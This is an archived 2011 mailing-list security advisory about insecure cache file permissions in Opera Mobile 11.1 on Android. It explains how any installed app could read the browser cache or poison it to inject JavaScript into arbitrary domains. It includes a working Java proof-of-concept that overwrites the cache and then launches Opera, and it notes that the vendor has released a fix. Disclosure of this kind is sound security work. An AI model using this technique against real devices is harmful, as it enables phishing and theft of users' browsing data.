lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAA4i3ga6SfUszqZjR5wR1nm6qVVE=VU_VW19ccfBh82sxVnFYQ@mail.gmail.com>
Date: Tue, 20 Sep 2011 17:29:48 +0300
From: Roee Hay <roeeh@...ibm.com>
To: bugtraq <bugtraq@...urityfocus.com>, full-disclosure@...ts.grok.org.uk
Subject: Advisory: Opera Mobile Cache Poisoning XAS

1 Background
=============
Android applications are executed in a sandbox environment, to ensure that no
application can access sensitive information held by another, without adequate
privileges. For example, Opera Mobile holds sensitive information such as
cookies, cache and history, and this cannot be accessed by third-party apps. An
android app may request specific privileges during its installation; if granted
by the user, the app's capabilities are extended.

One mechanism which Android uses in order to implement the sandbox, is running
each application as a separate process, and as a Linux user which is private to
the application's package. By running applications as different users, files
owned by one application cannot be accessed by another (unless access is
explicitly allowed).

2 Opera Mobile Internals
========================
Opera Mobile for Android maintains a cache of web pages:

• The cache is stored under the directory /data/data/com.opera.browser with UNIX
  file permissions [rwxrwx--x].

• All directories from the cache directory to the root are globally executable.

• The cache metadata file can be found under
  /data/data/com.opera.browser/dcache4.url with permissions [rw-rw-rw-].

• The cache data can be found under the directory
  /data/data/com.opera/browser/g_<number> with permissions [rwxrwxrwx]. The UNIX
  file permissions of the cache files are [rw-rw-rw-].

• The cache directory contains other files which are publically accessible, such
  as under the sesn and revocation directories.

3 Vulnerability
===============
The Opera Mobile cache files (metadata and data) have insecure file permissions:

• The cache metadata file (dcache4.url) is globally readable and writable as
  explained in the aforementioned permissions analysis.

• The cache data itself are globally readable and writable as explained in the
  aforementioned permissions analysis.

Hence a 3rd party application with no permissions may access Opera Mobile's
cache, thus break Android's sandboxing model:

• It may read the cache. 3rd party parsers are publicly available.

• It may alter the cache with arbitrary data or code, in order to conduct
  phishing attacks, or execute JavaScript code in the context of an arbitrary
  domain.

It should be noted that further research may shed light on how to attack the
files found under the sesn and revocation directories.

4 Impact
========
By exploiting this vulnerability a malicious, non-privileged application may
inject JavaScript code into the context of an arbitrary domain; therefore, this
vulnerability has the same implications as global XSS, albeit from an installed
application rather than another website. Furthermore, since the cache can be
read, web-pages accessed by the victim may be leaked to the attacker.

5 Proof-of-Concept
==================
Our goal is to poison the cache of a target domain with arbitrary JavaScript
code. We must build a valid cache entry so that Opera would be tricked into
loading our malicious code. This can be achieved in two different ways:

1. Reverse engineer the cache metadata and data structure and build a malicious
   cache entry using that knowledge.

2. Abuse Opera in order to build a malicious cache entry.

We will demonstrate the second technique, targeting the domain m.ibm.com:

1. We will use a MiTM (man-in-the-middle) (e.g. Fiddler) so that we are able to
   alter the information received from m.ibm.com

2. Ideally we want to find a cachable static script or HTML code. For instance,
   m.ibm.com contains a reference to http://www.ibm.com/common/stats/stats.js.

3. Using the MiTM, we can alter that data before reaching Opera, and inject
   malicious code into it, even without damaging its functionality.

4. Opera has now been tricked into creating a valid cache entry, containing our
   malicious content. This information (the malicious dcache4.url together with
   relevant cache data) can be now bundled with a malicious app so it is dumped
   to the disk once the app is launched, using the following code (our code also
   executes Opera once the cache is poisoned):

public class CachePoisoningActivity extends Activity {

    @Override
    public void onCreate(Bundle savedInstanceState)
    {

        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);

        dumpToFilesystem("dcache4.url",
                         "/data/data/com.opera.browser/cache/dcache4.url");

        dumpToFilesystem("poisonedfile",

"/data/data/com.opera.browser/cache/g_0000/poisonedfile");

        Intent i = new Intent(); 	

        i.setClassName("com.opera.browser", "com.opera.Opera");
        i.setData(Uri.parse("http://m.ibm.com")); 	
        startActivity(i); 	

    }



    private void dumpToFilesystem(String assetName, String dstPath)
    {
        try {
            InputStream input = getAssets().open(assetName); 		
            FileOutputStream output = new FileOutputStream(dstPath); 		

            byte[] buffer = new byte[1024];
            int len = -1;
            while (-1 != (len = input.read(buffer)))
                 output.write(buffer, 0, len);

            output.close();
            input.close(); 		

        } catch (IOException e) {}



        File f = new File(dstPath);
        f.setReadable(true, false);
        f.setWritable(true, false); 	

    }

}

6 Vulnerable versions
=====================
Opera Mobile 11.1 has been found vulnerable.

7 Vendor response
=================
Opera Mobile 11.1 update 2 has been released, which incorporates a fix for this
bug.

8 Credit
========
Roee Hay <roeeh@...ibm.com>

9 Acknowledgements
==================
We would like to thank the Opera team for the efficient and quick way in which
it handled this security issue.

10 References
=============
• Original advisory: http://blog.watchfire.com/files/advisory-opera-cp-xas.pdf
• Blog post: http://blog.watchfire.com/wfblog/2011/09/opera-mobile-cache-poisoning-xas.html
• Video of the PoC: http://youtu.be/8fWZh5jwFfE
• Android 11.1 update 2 ready for download: http://bit.ly/android-11-1-update-2

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ